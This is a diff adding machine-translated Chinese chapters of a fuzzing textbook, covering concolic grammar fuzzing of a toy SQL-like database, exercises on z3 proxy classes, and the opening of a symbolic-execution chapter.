+        new_cs.append((ck, child_start, child_end, gcs))
+        end_i = child_end
+        hm.update(chm)
+    node_end = end_i if cs else node_start + len(k)
+    if k in g and k != START_SYMBOL:
+        hm[k] = (node_start, node_end - node_start)
+    return hm, (k, node_start, node_end, new_cs)
+
+```
+
+我们按如下方式使用它：
+
+```py
+span_hm, _n = span(dt, INVENTORY_GRAMMAR)
+
+```
+
+```py
+span_hm
+
+```
+
+```py
+{'<exprs>': (7, 10),
+ '<table>': (23, 2),
+ '<bexpr>': (32, 15),
+ '<query>': (0, 47)}
+
+```
+
+我们可以检查是否获得了正确的值，如下所示。
+
+```py
+print("query:", query)
+for k in span_hm:
+    start, l = span_hm[k]
+    print(k, query[start:start + l])
+
+```
+
+```py
+query: select z,(k(w)+N) from W0 where T9(e)*i+b-E!=Yt
+<exprs> z,(k(w)+N)
+<table> W0
+<bexpr> T9(e)*i+b-E!=Yt
+<query> select z,(k(w)+N) from W0 where T9(e)*i+b-E!=Yt
+
+```
+
+接下来，我们需要获取每个谓词中的所有比较。 为此，我们定义了两个辅助函数。 第一个是`unwrap_substrings()`，它将多个调用转换为`z3.SubString`，并返回给定z3字符串表达式的开始和长度。
+
+```py
+def unwrap_substrings(s):
+    assert s.decl().name() == 'str.substr'
+    cs, frm, l = s.children()
+    fl = frm.as_long()
+    ll = l.as_long()
+    if cs.decl().name() == 'str.substr':
+        newfrm, _l = unwrap_substrings(cs)
+        return (fl + newfrm, ll)
+    else:
+        return (fl, ll)
+
+```
+
+我们定义了遍历给定z3字符串表达式的`traverse_z3()`，并将所有直接的字符串比较收集到原始参数的子字符串中。
+
+```py
+def traverse_z3(p, hm):
+    def z3_as_string(v):
+        s = v.as_string()
+        # Z3 bug: Python z3 API returns quoted strings for as_string
+        assert s[0] == '"' and s[-1] == '"'
+        return s[1:-1]
+
+    n = p.decl().name()
+    if n == 'not':
+        return traverse_z3(p.children()[0], hm)
+    elif n == '=':
+        i, j = p.children()
+        if isinstance(i, (int, z3.IntNumRef)):
+            return traverse_z3(j, hm)
+        elif isinstance(j, (int, z3.IntNumRef)):
+            return traverse_z3(i, hm)
+        else:
+            if i.is_string() and j.is_string():
+                if i.is_string_value():
+                    cs, frm, l = j.children()
+                    if (isinstance(frm, z3.IntNumRef)
+                            and isinstance(l, z3.IntNumRef)):
+                        hm[z3_as_string(i)] = unwrap_substrings(j)
+                elif j.is_string_value():
+                    cs, frm, l = i.children()
+                    if (isinstance(frm, z3.IntNumRef)
+                            and isinstance(l, z3.IntNumRef)):
+                        hm[z3_as_string(j)] = unwrap_substrings(i)
+            else:
+                assert False  # for now
+    elif n == '<' or n == '>':
+        i, j = p.children()
+        if isinstance(i, (int, z3.IntNumRef)):
+            return traverse_z3(j, hm)
+        elif isinstance(j, (int, z3.IntNumRef)):
+            return traverse_z3(i, hm)
+        else:
+            assert False
+    return p
+
+```
+
+```py
+comparisons = {}
+for p in _.path:
+    traverse_z3(p, comparisons)
+comparisons
+
+```
+
+```py
+{'inventory': (23, 2)}
+
+```
+
+现在我们需要做的是声明与`comparisons`中的子字符串匹配的字符串变量，并为路径中的每个项目求解它们。 为此，我们定义`find_alternatives()`。
+
+```py
+def find_alternatives(spans, cmp):
+    alts = {}
+    for key in spans:
+        start, l = spans[key]
+        rset = set(range(start, start + l))
+        for ckey in cmp:
+            cstart, cl = cmp[ckey]
+            cset = set(range(cstart, cstart + cl))
+            # if rset.issubset(cset): <- ignoring subsets for now.
+            if rset == cset:
+                if key not in alts:
+                    alts[key] = set()
+                alts[key].add(ckey)
+    return alts
+
+```
+
+我们如下使用它。
+
+```py
+alternatives = find_alternatives(span_hm, comparisons)
+alternatives
+
+```
+
+```py
+{'<table>': {'inventory'}}
+
+```
+
+因此，对于语法中的每个键，我们都有替代方法。 现在，我们可以按以下方式更新语法。
+
+```py
+INVENTORY_GRAMMAR_NEW = dict(INVENTORY_GRAMMAR)
+
+```
+
+```py
+for k in alternatives:
+    INVENTORY_GRAMMAR_NEW[k] = INVENTORY_GRAMMAR_NEW[k] + list(alternatives[k])
+
+```
+
+我们在这里做出了选择。 我们可以完全覆盖`<table>`的定义。 相反，我们在现有定义中添加了新的替代方法。 这样，我们的模糊器也会偶尔尝试`<table>`的其他值。
+
+```py
+INVENTORY_GRAMMAR_NEW['<table>']
+
+```
+
+```py
+['<word>', 'inventory']
+
+```
+
+让我们尝试用我们的新语法模糊测试。
+
+```py
+cgf = ConcolicGrammarFuzzer(INVENTORY_GRAMMAR_NEW)
+
+```
+
+```py
+for i in range(10):
+    qtree = cgf.fuzz_tree()
+    query = cgf.tree_to_string(qtree)
+    print(query)
+    with ExpectError():
+        try:
+            with ConcolicTracer() as _:
+                res = _[db_select](query)
+            print(repr(res))
+        except SQLException as e:
+            print(e)
+        print()
+
+```
+
+```py
+select (A*S*l(e)+h) from inventory where l/j<G(G)<P
+Invalid WHERE ('(l/j<G(G)<P)')
+
+update W5RhS set TT8=P7 where E!=b+e
+Table ('W5RhS') was not found
+
+delete from inventory where Z(F)/y*W/v<R/w/L(Y)/R
+Invalid WHERE ('Z(F)/y*W/v<R/w/L(Y)/R')
+
+delete from Y where -02==:
+Table ('Y') was not found
+
+insert into ZQ (C3y,h4,o3) values ('D','.{Y')
+Table ('ZQ') was not found
+
+select oy((r42),K==_==D!=(:),((h>N/W)),(k!=p)) from inventory
+Invalid WHERE ('(oy((r42),K==_==D!=(:),((h>N/W)),(k!=p)))')
+
+select X==(r),Y,l from inventory where J/x*f>M(h)/B
+Invalid WHERE ('(J/x*f>M(h)/B)')
+
+select _6(U,K5)>a-N-n+C*e+s-n from inventory
+Invalid WHERE ('(_6(U,K5)>a-N-n+C*e+s-n)')
+
+select n-V/X/X<e(s),fqw(f+v) from inventory
+Invalid WHERE ('(n-V/X/X<e(s),fqw(f+v))')
+
+select (d769R090x1Of),(b9S9G89) from inventory
+Invalid WHERE ('((d769R090x1Of),(b9S9G89))')
+
+```
+
+也就是说，我们能够达到危险的方法`my_eval()`。 实际上，我们所做的是将谓词的一部分提升为语法。 新语法可以生成比以前更深入程序的输入。 注意，我们只处理了相等谓词。 如果需要，还可以将'<'和'>'比较运算符转换为语法。
+
+将我们的模糊器的输出与下面的原始`GrammarFuzzer`进行比较。
+
+```py
+gf = GrammarFuzzer(INVENTORY_GRAMMAR)
+for i in range(10):
+    query = gf.fuzz()
+    print(query)
+    with ExpectError():
+        try:
+            res = db_select(query)
+            print(repr(res))
+        except SQLException as e:
+            print(e)
+        print()
+
+```
+
+```py
+select (D),j from _4 where N/d/I*o>h
+Table ('_4') was not found
+
+select r-u*Z/d*S/L-h,qN,T!=r from t
+Table ('t') was not found
+
+delete from _04e where -5!=(X)*p(x)+w*l(J,i,b)/Y/d
+Table ('_04e') was not found
+
+delete from c3 where --6!=o8M!=o==79156.443
+Table ('c3') was not found
+
+insert into F (Lu9g:917s) values ('B')
+Table ('F') was not found
+
+delete from W where j/S*S+P/d/x>a(a)+M(V)
+Table ('W') was not found
+
+delete from NQ where D(u)-R+X(X,X)==x/w*s/R
+Table ('NQ') was not found
+
+delete from C3 where A*q+u/M(z,X)<v<8+X*I(A)==821.2
+Table ('C3') was not found
+
+delete from Tg06M6 where t+V/S<s+.+S
+Table ('Tg06M6') was not found
+
+select 5,G from z3 where W>Z==l(W)/g*D-T
+Table ('z3') was not found
+
+```
+
+可以看出，原始的语法模糊检查器无法进行表格验证以外的操作。
+
+#### 在一起
+
+我们在`ConcolicGrammarFuzzer`中实现这些方法。 方法`update_grammar()`允许`ConcolicGrammarFuzzer`收集来自圆锥模糊测试的反馈，并相应地更新用于模糊测试的语法。
+
+```py
+class ConcolicGrammarFuzzer(ConcolicGrammarFuzzer):
+    def prune_tokens(self, tokens):
+        self.prune_tokens = tokens
+
+    def update_grammar(self, trace):
+        self.comparisons = {}
+        for p in trace.path:
+            traverse_z3(p, comparisons)
+        alternatives = find_alternatives(self.span_range, comparisons)
+        if self.log:
+            print('Alternatives:', alternatives, 'Span:', self.span_range)
+        new_grammar = dict(self.grammar)
+        for k in alternatives:
+            new_grammar[k] = list(set(new_grammar[k] + list(alternatives[k])))
+        self.grammar = new_grammar
+
+```
+
+`fuzz()`方法仅生成派生树，计算跨度范围，并返回从派生树生成的字符串。
+
+```py
+class ConcolicGrammarFuzzer(ConcolicGrammarFuzzer):
+    def fuzz(self):
+        qtree = self.fuzz_tree()
+        self.pruned_tree = self.prune_tree(qtree, self.prune_tokens)
+        query = self.tree_to_string(qtree)
+        self.span_range, _n = span(self.pruned_tree, self.grammar)
+        return query
+
+```
+
+为了确保我们的方法可行，让我们稍微更新一下表。
+
+```py
+inventory = db.db.pop('inventory', None)
+
+```
+
+```py
+db.db['vehicles'] = inventory
+db.db['months'] = ({
+    'month': int,
+    'name': str
+}, [{
+    'month': i + 1,
+    'name': m
+} for i, m in enumerate([
+    'jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct',
+    'nov', 'dec'
+])])
+db.db
+
+```
+
+```py
+{'vehicles': ({'year': int, 'kind': str, 'company': str, 'model': str},
+  [{'year': 1997, 'kind': 'van', 'company': 'Ford', 'model': 'E350'},
+   {'year': 2000, 'kind': 'car', 'company': 'Mercury', 'model': 'Cougar'},
+   {'year': 1999, 'kind': 'car', 'company': 'Chevy', 'model': 'Venture'}]),
+ 'months': ({'month': int, 'name': str},
+  [{'month': 1, 'name': 'jan'},
+   {'month': 2, 'name': 'feb'},
+   {'month': 3, 'name': 'mar'},
+   {'month': 4, 'name': 'apr'},
+   {'month': 5, 'name': 'may'},
+   {'month': 6, 'name': 'jun'},
+   {'month': 7, 'name': 'jul'},
+   {'month': 8, 'name': 'aug'},
+   {'month': 9, 'name': 'sep'},
+   {'month': 10, 'name': 'oct'},
+   {'month': 11, 'name': 'nov'},
+   {'month': 12, 'name': 'dec'}])}
+
+```
+
+`ConcolicGrammarFuzzer`的用法如下。
+
+```py
+cgf = ConcolicGrammarFuzzer(INVENTORY_GRAMMAR)
+cgf.prune_tokens(prune_tokens)
+for i in range(10):
+    query = cgf.fuzz()
+    print(query)
+    with ConcolicTracer() as _:
+        with ExpectError():
+            try:
+                res = _[db_select](query)
+                print(repr(res))
+            except SQLException as e:
+                print(e)
+        cgf.update_grammar(_)
+        print()
+
+```
+
+```py
+delete from b where m/C!=L-K*Q<H+c(O)+-0*H/G
+Table ('b') was not found
+
+update O8F set E=g,p=Z where y>p
+Table ('O8F') was not found
+
+update months set wz=w5 where _*E/O-K(U)<Z+v/G/r/c
+Column ('wz') was not found
+
+delete from months where r-z-Q-d*d-h-P!=r1R
+Invalid WHERE ('r-z-Q-d*d-h-P!=r1R')
+
+insert into muc (n23f2W6sOP) values ('y')
+Table ('muc') was not found
+
+insert into months (.9) values ('T|gi','O',1.86,-501.9,0.1,48199462.8)
+Column ('.9') was not found
+
+select w<O/X-S from months where Y/b>Z*K*Z*B
+Invalid WHERE ('(Y/b>Z*K*Z*B)')
+
+insert into vehicles (name) values (5.0,25,4.0,'/')
+Column ('name') was not found
+
+update months set kind=kN,company=a,kind=O where (S<S(Q))==I+t<z
+Column ('kind') was not found
+
+update vehicles set month=kU7,company=k,company=M,name=X where (((b+L)==0.4))==4
+Column ('month') was not found
+
+```
+
+可以看出，模糊器在不了解表`vehicles`，`months`和`years`的情况下开始，但从主旨执行中识别出该表，并将其提升为语法。 这使我们可以提高模糊测试的效率。
+
+## 限制
+
+与动态污点分析一样，隐式控制流可以掩盖在执行执行策略时遇到的谓词。 但是，可以通过在源中使用其各自的代理对象包装任何常量来在某种程度上克服此限制。 类似地，对内部C函数的调用可能导致符号信息被丢弃，并且只能获取部分信息。
+
+## 经验教训
+
+*   在程序行为方面，共谋执行通常可以提供比污点分析更多的信息。 但是，这需要更大的运行时成本。 因此，与污点分析不同，实时分析通常是不可能的。
+
+*   与污点分析类似，concord执行也受到诸如间接控制流和内部函数调用之类的限制。
+
+*   礼节性执行的谓词可以与模糊结合使用，以提供比污点更可靠的错误行为指示，并且可以用于创建更能产生有效输入的语法。
+
+## 后续步骤
+
+[象征性模糊](SymbolicFuzzer.html)是一种更昂贵但更强大的替代方法。 同样，基于[搜索的模糊检测](SearchBasedFuzzer.html)通常可以提供比依赖SMT求解器来提供与当前路径稍有不同的输入便宜的探索策略。
+
+## 背景
+
+调和执行技术最初用于通知和扩展*符号执行* [ [King *等人*，1976年。](https://doi.org/10.1145/360248.360252)]，一种程序的静态分析技术。 分析。 Laron等。 cite {Larson2003}是第一个使用调和执行技术的人。
+
+Cadar等人提出了使用代理对象来收集约束的想法。 [Cadar *等人*，2005。]。 PeerCheck [ [A. Bruni *等人*，2011\.](https://hoheinzollern.files.wordpress.com/2008/04/seer1.pdf) ]和Python错误查找器[[DamiánBarsotti *]等人*，2018。](https://doi.org/https://doi.org/10.1016/j.entcs.2018.06.003)。
+
+## 练习
+
+### 练习1：仿照浮点代理类
+
+在实现`zint`二进制运算符时，我们断言结果是`int`。 但是，不必如此。 例如，除法会导致`float`。 因此，我们需要`float`的代理对象。 您可以为`float`实现类似的代理对象并修复`zint`二进制运算符定义吗？
+
+**解决方案。** 解决方案如下。
+
+与`zint`一样，我们首先打开`zfloat`进行扩展。
+
+```py
+class zfloat(float):
+    def __new__(cls, context, zn, v, *args, **kw):
+        return float.__new__(cls, v, *args, **kw)
+
+```
+
+然后，我们实现初始化方法。
+
+```py
+class zfloat(zfloat):
+    @classmethod
+    def create(cls, context, zn, v=None):
+        return zproxy_create(cls, 'Real', z3.Real, context, zn, v)
+
+    def __init__(self, context, z, v=None):
+        self.z, self.v = z, v
+        self.context = context
+
+```
+
+当二进制操作中的参数之一不是`float`时的帮助器。
+
+```py
+class zfloat(zfloat):
+    def _zv(self, o):
+        return (o.z, o.v) if isinstance(o, zfloat) else (z3.RealVal(o), o)
+
+```
+
+将`float`强制转换为bool值，以便在有条件的情况下使用。
+
+```py
+class zfloat(zfloat):
+    def __bool__(self):
+        # force registering boolean condition
+        if self != 0.0:
+            return True
+        return False
+
+```
+
+定义比较方法的通用代理方法
+
+```py
+def make_float_bool_wrapper(fname, fun, zfun):
+    def proxy(self, other):
+        z, v = self._zv(other)
+        z_ = zfun(self.z, z)
+        v_ = fun(self.v, v)
+        return zbool(self.context, z_, v_)
+
+    return proxy
+
+```
+
+我们将比较方法应用于已定义的`zfloat`类。
+
+```py
+FLOAT_BOOL_OPS = [
+    '__eq__',
+    # '__req__',
+    '__ne__',
+    # '__rne__',
+    '__gt__',
+    '__lt__',
+    '__le__',
+    '__ge__',
+]
+
+```
+
+```py
+for fname in FLOAT_BOOL_OPS:
+    fun = getattr(float, fname)
+    zfun = getattr(z3.ArithRef, fname)
+    setattr(zfloat, fname, make_float_bool_wrapper(fname, fun, zfun))
+
+```
+
+同样，我们为二进制运算符定义了通用代理方法。
+
+```py
+def make_float_binary_wrapper(fname, fun, zfun):
+    def proxy(self, other):
+        z, v = self._zv(other)
+        z_ = zfun(self.z, z)
+        v_ = fun(self.v, v)
+        return zfloat(self.context, z_, v_)
+
+    return proxy
+
+```
+
+并将它们应用于`zfloat`
+
+```py
+FLOAT_BINARY_OPS = [
+    '__add__',
+    '__sub__',
+    '__mul__',
+    '__truediv__',
+    # '__div__',
+    '__mod__',
+    # '__divmod__',
+    '__pow__',
+    # '__lshift__',
+    # '__rshift__',
+    # '__and__',
+    # '__xor__',
+    # '__or__',
+    '__radd__',
+    '__rsub__',
+    '__rmul__',
+    '__rtruediv__',
+    # '__rdiv__',
+    '__rmod__',
+    # '__rdivmod__',
+    '__rpow__',
+    # '__rlshift__',
+    # '__rrshift__',
+    # '__rand__',
+    # '__rxor__',
+    # '__ror__',
+]
+
+```
+
+```py
+for fname in FLOAT_BINARY_OPS:
+    fun = getattr(float, fname)
+    zfun = getattr(z3.ArithRef, fname)
+    setattr(zfloat, fname, make_float_binary_wrapper(fname, fun, zfun))
+
+```
+
+这些用途如下。
+
+```py
+with ConcolicTracer() as _:
+    za = zfloat.create(_.context, 'float_a', 1.0)
+    zb = zfloat.create(_.context, 'float_b', 0.0)
+    if za * zb:
+        print(1)
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({'float_a': 'Real', 'float_b': 'Real'}, [Not(float_a*float_b != 0)])
+
+```
+
+最后，我们修复了`zint`二进制包装程序，以便在需要时正确创建`zfloat`。
+
+```py
+def make_int_binary_wrapper(fname, fun, zfun):
+    def proxy(self, other):
+        z, v = self._zv(other)
+        z_ = zfun(self.z, z)
+        v_ = fun(self.v, v)
+        if isinstance(v_, float):
+            return zfloat(self.context, z_, v_)
+        elif isinstance(v_, int):
+            return zint(self.context, z_, v_)
+        else:
+            assert False
+
+    return proxy
+
+```
+
+```py
+for fname in INT_BINARY_OPS:
+    fun = getattr(int, fname)
+    zfun = getattr(z3.ArithRef, fname)
+    setattr(zint, fname, make_int_binary_wrapper(fname, fun, zfun))
+
+```
+
+检查它是否按预期工作。
+
+```py
+with ConcolicTracer() as _:
+    v = _[binomial](4, 2)
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'n': '4', 'k': '2'})
+
+```
+
+### 练习2：位操作
+
+与浮点运算类似，实现位处理功能（例如`xor`）涉及将`int`转换为其等效的位向量，对其进行操作，然后将其转换回原始类型。 您可以为`zint`实现位操作操作吗？
+
+**Solution.** The solution is as follows.
+
+我们首先像以前一样定义代理方法。
+
+```py
+def make_int_bit_wrapper(fname, fun, zfun):
+    def proxy(self, other):
+        z, v = self._zv(other)
+        z_ = z3.BV2Int(
+            zfun(
+                z3.Int2BV(
+                    self.z, num_bits=64), z3.Int2BV(
+                    z, num_bits=64)))
+        v_ = fun(self.v, v)
+        return zint(self.context, z_, v_)
+
+    return proxy
+
+```
+
+然后将其应用于`zint`类。
+
+```py
+BIT_OPS = [
+    '__lshift__',
+    '__rshift__',
+    '__and__',
+    '__xor__',
+    '__or__',
+    '__rlshift__',
+    '__rrshift__',
+    '__rand__',
+    '__rxor__',
+    '__ror__',
+]
+
+```
+
+```py
+for fname in BIT_OPS:
+    fun = getattr(int, fname)
+    zfun = getattr(z3.BitVecRef, fname)
+    setattr(zint, fname, make_int_bit_wrapper(fname, fun, zfun))
+
+```
+
+反转是唯一的一元位操作方法。
+
+```py
+class zint(zint):
+    def __invert__(self):
+        return zint(self.context, z3.BV2Int(
+            ~z3.Int2BV(self.z, num_bits=64)), ~self.v)
+
+```
+
+如果`xor`得出非零值，则`my_fn()`计算`xor`并返回`True`。
+
+```py
+def my_fn(a, b):
+    o_ = (a | b)
+    a_ = (a & b)
+    if o_ & ~a_:
+        return True
+    else:
+        return False
+
+```
+
+在`ConcolicTracer`下使用
+
+```py
+with ConcolicTracer() as _:
+    print(_[my_fn](2, 1))
+
+```
+
+```py
+True
+
+```
+
+我们记录计算出的SMT表达式以验证一切正常。
+
+```py
+_.zeval(log=True)
+
+```
+
+```py
+(declare-const my_fn_a_int_96 Int)
+(declare-const my_fn_b_int_97 Int)
+(assert (let ((a!1 (bvnot (bvor (bvnot ((_ int2bv 64) my_fn_a_int_96))
+                        (bvnot ((_ int2bv 64) my_fn_b_int_97))))))
+(let ((a!2 (bvor (bvnot (bvor ((_ int2bv 64) my_fn_a_int_96)
+                              ((_ int2bv 64) my_fn_b_int_97)))
+                 a!1)))
+  (not (= 0 (bv2int (bvnot a!2)))))))
+(check-sat)
+(get-model)
+sat
+(model 
+  (define-fun my_fn_a_int_96 () Int
+    (- 18446744073709551617))
+  (define-fun my_fn_b_int_97 () Int
+    (- 2))
+)
+
+```
+
+```py
+('sat', {'a': ['-', '18446744073709551617'], 'b': ['-', '2']})
+
+```
+
+我们可以从生成的公式中确认位操作功能可以正常工作。
+
+### 练习3：字符串转换函数
+
+我们已经看到了如何定义`upper()`和`lower()`。 您可以定义`capitalize()`，`title()`和`swapcase()`方法吗？
+
+**解决方案。** 解决方案尚不可用。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/27.md b/new/fuzzing-book-zh/27.md
new file mode 100644
index 0000000000000000000000000000000000000000..cad28997e6449c5a65bc33785762a22e3f348efa
--- /dev/null
+++ b/new/fuzzing-book-zh/27.md
@@ -0,0 +1,2667 @@
+# 符号模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/SymbolicFuzzer.html](https://www.fuzzingbook.org/html/SymbolicFuzzer.html)
+
+传统的模糊测试方法的问题之一是它们无法行使系统可能具有的所有可能的行为，尤其是在输入空间很大时。 通常，只有特定的输入才可以执行特定执行分支，这可能只占输入空间的一小部分。 传统的模糊测试方法依靠机会来产生所需的输入。 但是，当要探索的空间很大时，依靠随机性来生成我们想要的值不是一个好主意。 例如，即使一个字符串仅考虑前$ 10 $个字符，但接受字符串的函数已经具有$ 2 ^ {80} $个可能的输入。 如果正在寻找特定的字符串，则即使在一台超级计算机中，值的随机生成也将花费数千年。
+
+先前我们已经看到了condicolic跟踪如何提供一种出路。 我们看到了如何使用Python解释器使用直接信息流来实现condicolic跟踪。 但是，这种方法存在两个问题。 第一个是，对策跟踪取决于样本输入的存在。 如果没有样本输入该怎么办？ 其次，如果程序具有间接信息流（例如基于控制流的信息流），则直接信息流可能不可靠。 在这种情况下，必须进行静态分析以弥合差距。 但是，这就提出了问题。 我们能否通过静态检查程序来确定程序的完整行为，并检查它是否在某些（未知）输入下表现异常或导致意外输出？
+
+符号执行是我们无需执行程序就可以推断程序行为的一种方式。 程序是一种可以视为方程式的系统，可以从给定的输入中获取输出值。 象征性地执行程序（即以数学方式解决这些问题）以及任何指定的目标（例如覆盖特定分支或获得特定输出）将为我们提供可以完成此任务的输入。
+
+在本章中，我们研究如何执行符号执行，以及如何将其用于获取有趣的模糊值。
+
+**前提条件**
+
+*   您应该了解如何在Python中使用[类型注释](https://docs.python.org/3/library/typing.html)。
+*   对 [SMT求解器](https://en.wikipedia.org/wiki/Satisfiability_modulo_theories)尤其是 [Z3](https://github.com/Z3Prover/z3) 的工作知识很有用。
+*   您应该已经阅读了关于的[一章。](Coverage.html)
+*   熟悉有关[的关于概念模糊](ConcolicFuzzer.html)的章节会有所帮助。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.SymbolicFuzzer](SymbolicFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了符号模糊引擎`AdvancedSymbolicFuzzer`的实现。 模糊器使用符号执行来详尽地探查程序中的路径到有限的深度，并生成将到达这些路径的输入。 给定要探索的程序（此处为`gcd`），模糊器可以如下使用：
+
+```py
+>>> gcd_fuzzer = AdvancedSymbolicFuzzer(gcd, max_tries=10, max_iter=10, max_depth=10)
+>>> for i in range(10):
+>>>     r = gcd_fuzzer.fuzz()
+>>>     print(r)
+{'a': 7, 'b': 4}
+{'a': 8, 'b': 16}
+{'a': 2, 'b': 17}
+{'a': 6, 'b': 5}
+{'a': 3, 'b': 5}
+{'a': 1, 'b': 1}
+{'a': 5, 'b': 2}
+{'a': 4, 'b': 8}
+{'a': 9, 'b': 9}
+{'a': 12, 'b': 11}
+
+```
+
+## 获取覆盖范围的路径条件
+
+在[解析和重新组合输入](SearchBasedFuzzer.html)的章节中，我们看到了为`process_vehicle()`生成输入的困难-这是一个接受字符串的简单函数。 那里给出的解决方案是依靠预先存在的样本输入。 但是，这种解决方案是不适当的，因为它假定存在样本输入。 如果手头没有样品输入怎么办？
+
+对于一个简单的示例，让我们考虑以下功能。 我们可以生成涵盖所有路径的输入吗？
+
+*注意。* 我们使用类型注释来表示程序的参数类型。 关于发现动态不变量的[一章将讨论如何自动推断这些类型。](DynamicInvariants.html)
+
+```py
+def check_triangle(a: int, b: int, c: int) -> int:
+    if a == b:
+        if a == c:
+            if b == c:
+                return "Equilateral"
+            else:
+                return "Isosceles"
+        else:
+            return "Isosceles"
+    else:
+        if b != c:
+            if a == c:
+                return "Isosceles"
+            else:
+                return "Scalene"
+        else:
+            return "Isosceles"
+
+```
+
+### 控制流程图
+
+此功能的控制流程图可表示如下：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [ControlFlow](ControlFlow.html) import PyCFG, CFGNode, to_graph, gen_cfg
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Source, Graph
+
+```
+
+```py
+def show_cfg(fn, **kwargs):
+    return Source(to_graph(gen_cfg(inspect.getsource(fn)), **kwargs))
+
+```
+
+```py
+show_cfg(check_triangle)
+
+```
+
+<svg height="488pt" viewBox="0.00 0.00 693.00 488.00" width="693pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 484)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.5" y="-454.3">1: enter: check_triangle(a, b, c)</text></g> <g class="node" id="node9"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.5" y="-377.3">2: if: a == b</text></g> <g class="edge" id="edge7"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="362.5" y="-18.3">1: exit: check_triangle(a, b, c)</text></g> <g class="node" id="node3"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="148.5" y="-95.3">5: return 'Equilateral'</text></g> <g class="edge" id="edge1"><title>6->2</title></g> <g class="node" id="node4"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="295.5" y="-95.3">7: return 'Isosceles'</text></g> <g class="edge" id="edge2"><title>7->2</title></g> <g class="node" id="node5"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="61.5" y="-149.3">9: return 'Isosceles'</text></g> <g class="edge" id="edge3"><title>8->2</title></g> <g class="node" id="node6"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="478.5" y="-95.3">13: return 'Isosceles'</text></g> <g class="edge" id="edge4"><title>11->2</title></g> <g class="node" id="node7"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="623.5" y="-95.3">15: return 'Scalene'</text></g> <g class="edge" id="edge5"><title>12->2</title></g> <g class="node" id="node8"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="379.5" y="-149.3">17: return 'Isosceles'</text></g> <g class="edge" id="edge6"><title>13->2</title></g> <g class="node" id="node10"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-290.3">3: if: a == c</text></g> <g class="edge" id="edge8"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233" y="-333.8">T</text></g> <g class="node" id="node12"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="377.5" y="-290.3">11: if: b != c</text></g> <g class="edge" id="edge13"><title>3->9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="331.5" y="-333.8">F</text></g> <g class="edge" id="edge12"><title>4->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130.5" y="-246.8">F</text></g> <g class="node" id="node11"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-203.3">4: if: b == c</text></g> <g class="edge" id="edge9"><title>4->5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184" y="-246.8">T</text></g> <g class="edge" id="edge10"><title>5->6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="174" y="-149.3">T</text></g> <g class="edge" id="edge11"><title>5->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.5" y="-149.3">F</text></g> <g class="edge" id="edge17"><title>9->13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="381.5" y="-246.8">F</text></g> <g class="node" id="node13"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="487.5" y="-203.3">12: if: a == c</text></g> <g class="edge" id="edge14"><title>9->10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="443" y="-246.8">T</text></g> <g class="edge" id="edge15"><title>10->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="488" y="-149.3">T</text></g> <g class="edge" id="edge16"><title>10->12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="579.5" y="-149.3">F</text></g></g></svg>
+
+程序跟踪的可能执行路径可以表示如下，其中数字表示执行的特定行号。
+
+```py
+paths = {
+    '<path 1>': ([1, 2, 3, 4, 5], 'Equilateral'),
+    '<path 2>': ([1, 2, 3, 4, 7], 'Isosceles'),
+    '<path 3>': ([1, 2, 3, 9], 'Isosceles'),
+    '<path 4>': ([1, 2, 11, 12, 13], 'Isosceles'),
+    '<path 5>': ([1, 2, 11, 12, 15], 'Scalene'),
+    '<path 6>': ([1, 2, 11, 17], 'Isosceles'),
+}
+
+```
+
+考虑`<path 1>`。 要跟踪此路径，我们需要按顺序执行以下语句。
+
+```py
+1: check_triangle(a, b, c)
+2: if (a == b) -> True
+3: if (a == c) -> True
+4: if (b == c) -> True
+5: return 'Equilateral'
+
+```
+
